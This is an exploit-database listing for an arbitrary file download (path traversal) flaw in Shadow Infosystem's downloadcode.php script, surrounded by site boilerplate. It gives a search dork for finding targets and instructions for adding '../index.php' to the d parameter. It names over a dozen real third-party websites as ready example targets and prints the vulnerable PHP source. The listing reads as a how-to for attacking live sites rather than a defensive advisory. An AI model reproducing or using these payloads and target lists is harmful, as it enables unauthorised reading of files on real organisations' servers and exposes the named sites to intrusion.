0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Shadow Infosystem Arbitrary File Download Vulnerability
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |--------------------------------------------------------------| |[+] Exploit Title: Shadow Infosystem Arbitrary File Download |[+] |[+] Exploit Author: Ashiyane Digital Security Team |[+] |[+] Vendor Homepage: http://shadowinfosystem.com |[+] |[+] Google Dork: inurl:/downloadcode.php |[+] |[+] Tested on: Windows, Linux |[+] |[+] Date: 2015.09.21 |[+] |--------------------------------------------------------------| |[+] Describe : |[+] |[+] At the first search dork and choose a target |[+] |[+] Like this : http://www.spacetechgroup.in |[+] |[+] Add this to the end of target URL: downloadcode.php?d= |[+] |[+] After [?d=] you should enter your file name that you want to download! |[+] |[+] Fore example download in that target index.php: |[+] |[+] http://www.spacetechgroup.in/downloadcode.php?d=../index.php |[+] |[+] In some targets you can only download files that they're in [Current] directory! |[+] |[+] But I don't want to download from [file] directory! |[+] |[+] Then I put [../] after file name to upload from root directory! |--------------------------------------------------------------| |[+] Examples : |[+] |[+] http://stteresaschool.in/downloadcode.php?d=../index.php |[+] |[+] http://hotelsroyalpark.coM/downloadcode.php?d=../index.php |[+] |[+] http://jkgttAcademy.com/downloadcode.php?d=index.php |[+] |[+] http://raksHatowersgurgaon.com/downloadcode.php?d=../index.php |[+] |[+] http://shaDowInfosystem.com/downloadcode.php?d=../index.php |[+] |[+] http://keltecHgroup.com/downloadcode.php?download_file=index.php |[+] |[+] http://fnfhomez.com/downloadcode.php?df=../index.php |[+] |[+] http://renownedInfra.com/downloadcode.php?download_file=../index.php |[+] |[+] http://mmgroupinDia.com/downloadcode.php?df=../index.php |[+] |[+] http://sunflowerpublicschool.com/downloadcode.php?file=../index.php |[+] |[+] http://hitchintak.in/downloadcode.php?d=../index.php |[+] |[+] http://ballyhai.net/downloadcode.php?file=../index.php |[+] |[+] http://spacetechgroup.in/downloadcode.php?d=../index.php |--------------------------------------------------------------| |[+] Vulnerable Code: |[+] File: downloadcode.php: <?php if(isset($_GET['d'])){ $path = "admin/"; // change the path to fit your websites document structure $fullPath = $path.$_GET['d']; }else if(isset($_REQUEST['pf'])){ $fullPath = "payment_pdf/".$_REQUEST['pf']; } if ($fd = fopen ($fullPath, "r")) { $fsize = filesize($fullPath); $path_parts = pathinfo($fullPath); $ext = strtolower($path_parts["extension"]); switch ($ext) { case "jpg": header("Content-type: application/jpg"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "pdf": header("Content-type: application/pdf"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "swf": header("Content-type: application/swf"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "doc": header("Content-type: application/doc"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "xls": header("Content-type: application/xls"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "docx": header("Content-type: application/docx"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); case "txt": header("Content-type: application/txt"); // add here more headers for diff. extensions header("Content-Disposition: attachment; filename="".$path_parts["basename"]."""); // use 'attachment' to force a download break; default; header("Content-type: application/octet-stream"); header("Content-Disposition: filename="".$path_parts["basename"]."""); } header("Content-length: $fsize"); header("Cache-control: private"); //use this to open files directly while(!feof($fd)) { $buffer = fread($fd, 22048); echo $buffer; } } fclose ($fd); exit; ?> |--------------------------------------------------------------| |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |[+] Discovered By : Cloner-47 |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| # 0day.today [2024-11-15] #